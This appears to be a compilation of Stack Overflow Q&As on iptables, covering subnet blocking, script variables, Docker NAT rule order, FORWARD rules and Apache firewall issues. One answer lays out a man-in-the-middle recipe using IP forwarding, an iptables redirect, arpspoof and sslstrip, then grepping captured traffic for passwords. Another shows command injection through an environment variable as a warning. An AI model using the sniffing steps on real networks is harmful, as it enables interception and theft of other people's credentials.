IPtables block range with exception - linux

I have a server in my network for which I want to DROP outbound traffic to any other host in the LAN, except for one or 2 single hosts. E.g. I want to block outbound traffic to 123.123.1.1/16, except for 123.123.10.10 and 123.123.20.20. How can I do this in IPTABLES?
I have tried something like this:
sudo iptables -D OUTPUT -d 123.123.1.1/16 ! -d 123.123.10.10 -j DROP
However I get an error that the -d operator can only be used once.

Do an ACCEPT before the DROP.
iptables -A OUTPUT -d 123.123.10.10 -j ACCEPT
iptables -A OUTPUT -d 123.123.1.1/16 -j DROP
That way once the packet matches the first rule it won't even be tested against the second.

Related

What is the difference between $ip and iptables in Linux? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 3 years ago.
Improve this question
I am doing a project on securing a Linux system. We are going into VI to change a script for what the system allows. It is partially completed.
In the screenshot below, you can see that it has been filled out to allow port 22, but the line starts with $ip. The statement we use begins with iptables. Are these the same command? Or do they mean something totally different?
I wasn't able to find much online to explain the difference.
iptables is a command. Each line in the script that begins with iptables runs the iptables command.
$ip is an environment variable that presumably contains the name of a command to run. Each line in the script that begins with $ip runs the command whose name is contained in the $ip variable.
You're asking us to tell you what your variable is set to. We have no idea.
Inspecting the file fragment you have provided, the file you are editing could be a shell script (bash, sh, etc). Since iptables is a valid linux command, that is probably the case. The file could also be perl, php, or another language which supports $variable syntax.
Look at the first line of the file, does it begin with #! (sh-bang)? ex:
#!/bin/bash
Depending upon the script language being used to interpret your file, the $ip token could be resolved to be whatever the current value of $ip contains. Suppose that ip=iptables. Then it is likely that the file fragment you gave should be equivalent to the following:
iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
# put your dport ACCEPT rules here
iptables -A INPUT -p tcp -m tcp --dport 3398 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
Which seems redundant, since the fourth line repeats the first.
Since the command iptables must be run as root to change the system firewall, there is a significant difference between iptables and $ip w.r.t. security.
If this file is writeable by a bad actor, the bad actor can revise the file to produce malicious behavior. But those changes would be detected.
Suppose the bad actor is able to change the value of the $ip variable? The a bad actor can inject malicious behavior into that script.
For example, suppose the variable is set to a command,
export ip='echo beat me bad ||iptables'
And then later the user naively sudo's to root and executes the script (file),
$ sudo -u root
$ $ip
beat me || <iptables runs here>
You could read about editing iptables rules here
Policy rule: never use command interpolation for security sensitive files such as scripts that require root privilege (or could be run as root) (such as the above script (file)).
Suppose the bad actor could change your PATH environment variable, and inject a path another executable named iptables. When running commands & scripts as root, one needs to be cautious with paths. Consider using full path names to commands (or checking that PATH has not been corrupted); example:
/usr/sbin/iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
# put your dport ACCEPT rules here
/usr/sbin/iptables -A INPUT -p tcp -m tcp --dport 3398 -j ACCEPT
/usr/sbin/iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
Policy rule: either explicitly check PATH when running as root, or use full paths to commands to ensure that commands are not redirected.

Docker inserting iptable Postrouting rules on top of admin added rules

I had to add few iptable entries into NAT table, POSTROUTING chain, to allow docker containers to access internet through a different source-address/source-interface of Host Machine (to_source).
Things are working fine.
Ex:
target prot opt source destination
SNAT all -- 100.100.8.0/22 10.1.2.3 to:100.64.0.5
But, when docker service is restarted, it inserts MASQUERADE rules on top of my entries and hence my fix as above is masked. Docker containers can't access internet now.
Ex:
target prot opt source destination
MASQUERADE all -- 100.100.8.0/22 0.0.0.0/0
SNAT all -- 100.100.8.0/22 10.1.2.3 to:100.64.0.5
Is there anyway to make my POSTROUTING rules to stay always on top of the chain even after docker restarts?
If Ubuntu is on your host, you can use the iptables-save utility to save the iptables rules to a file after you start the docker daemon. Then, once you flush the old rules, you can simply restore the original docker rules using iptables-restore & the saved rules file.
If you don't want to restore all the old iptables rules, you can alter the saved rules file to keep only the ones you need.
You can add --iptables=false to your docker daemon startup options which stops it from making changes to the iptables rules at all.
Reference:
https://docs.docker.com/engine/reference/commandline/dockerd/
It is important to create the rule at the right time - after the docker containers are up, because that's when docker creates the MASQUERADE rules.
Using cron #reboot with a delay would not be reliable, because whenever you restart a container (or bring up a new one), the rules would be in the wrong order.
My solution is a script, executed by cron, which will check the position of my rule(s) and re-insert them if/when necessary.
# we attach a unique comment to our rule so that we can check its position later
unique_comment="docker SNAT source IP"
insert_rules() {
# put your rules here. Make sure the first rule is tagged with $unique_comment so it can be identified.
sudo iptables -t nat -I POSTROUTING 1 -s 172.17.0.0/12 -j SNAT --to-source 1.2.3.4 -m comment --comment "$unique_comment"
sudo iptables -t nat -I POSTROUTING 2 -s 192.168.0.0/16 -j SNAT --to-source 1.2.3.4
}
delete_rules() {
pos=$1
# delete the first two rules from POSTROUTING. Adjust if necessary.
sudo iptables -t nat -D POSTROUTING $pos
sudo iptables -t nat -D POSTROUTING $pos
}
pos=$(sudo iptables -t nat -L POSTROUTING -v -n --line-numbers|grep "$unique_comment" | awk '{ print $1 }')
if [ "$pos" == "1" ]; then
: # correct position; nothing to do
elif [ "$pos" == "" ]; then
# rule does not exist; add it.
insert_rules
else
# rule is not first; re-insert it.
delete_rules $pos
insert_rules
fi
Now create a cron job to execute this script frequently as you need (e.g. every 1 or 2 minutes).

How are do I specify both source and destination flags in the iptables FORWARD chain?

Since I a have iptables running on my router, it seems the only chain that works is the FORWARD chain to block traffic between the LAN and the internet.
In these FORWARD chain rules, like...
iptables -I FORWARD 1 -d 198.41.16.0/17 -j REJECT
...but since the router doesn't understand the direction of traffic, I essentially need two rules, like this...
iptables -I FORWARD 1 -d 198.41.16.0/17 -j REJECT
iptables -I FORWARD 1 -s 198.41.16.0/17 -j REJECT
Is there any way to combine them? Or am I missing something?
To my knowledge, it is not possible to have an iptables command with (effectively) an OR match in it. I expect that the only way to get your desired outcome is to do two separate statements.
Best of luck!

HTTPS / SSL sniffing

i am using Backtrack5 for this ..but am stuck ...i am not able to get the data i want, i am using Ettercap and SSL Strip for this...
Does any one here any idea of how to do it ?
Idk how you're doing it, but for me ettercap-gtk (the gui) has always been garbage. I recommend skipping ettercap unless you want easy DNS spoofing, and go another route.
Let me give you some steps, starting with setting up your iptables for this attack (Man in the middle, amirite) and enabling ip_forward(ing)
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1337 (Can choose any port you want to send them to)
Now to be the man in the middle: Here we use arpspoof:
arpspoof -i wlan0(or whatever interface) 192.168.1.X(X is the gateway typically .1 or .255)
Then with SSLStrip you can go ahead and ./sslstrip.py -1 1337 -w filename (1337 is the port from earlier, filename is any filename you want to dump the data to)
cat filename(from earlier) and even pipe | grep "password" or whatever you're sniffing for, or you can just dump everything. The file will be filling up with captured/stripped https data.

Apache only accessible from localhost but not via IP or Domain Name

So I was having problem setting up my Apache and I have it running now.
If you want to see my httpd.conf file or some other info please look at Need help setting up Apache on CentOS 5.5 , getting 403
I can successfully run lynx localhost and see "It works!" however when I try to access the site via the domain name or IP address I do not get anything. Chrome says oops could not connect to blah blah.
Here is my iptables -L : https://gist.github.com/875450
Here is my iptables-save : https://gist.github.com/875472
So what am doing wrong that I can see it locally but not via the IP?
Thanks
You have an issue with your iptables configuration. The first rule in the INPUT chain is:
-A INPUT -j RH-Firewall-1-INPUT
and all other rules in the chain are appended (-A) after it. But the last rule in the RH-Firewall-1-INPUT chain is:
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
which rejects any connection that has not been accepted previously, including any HTTP connections.
You need to insert (-I) the HTTP/HTTPS rules to the INPUT chain instead of appending (-A) them, so that they are applied first.

Resources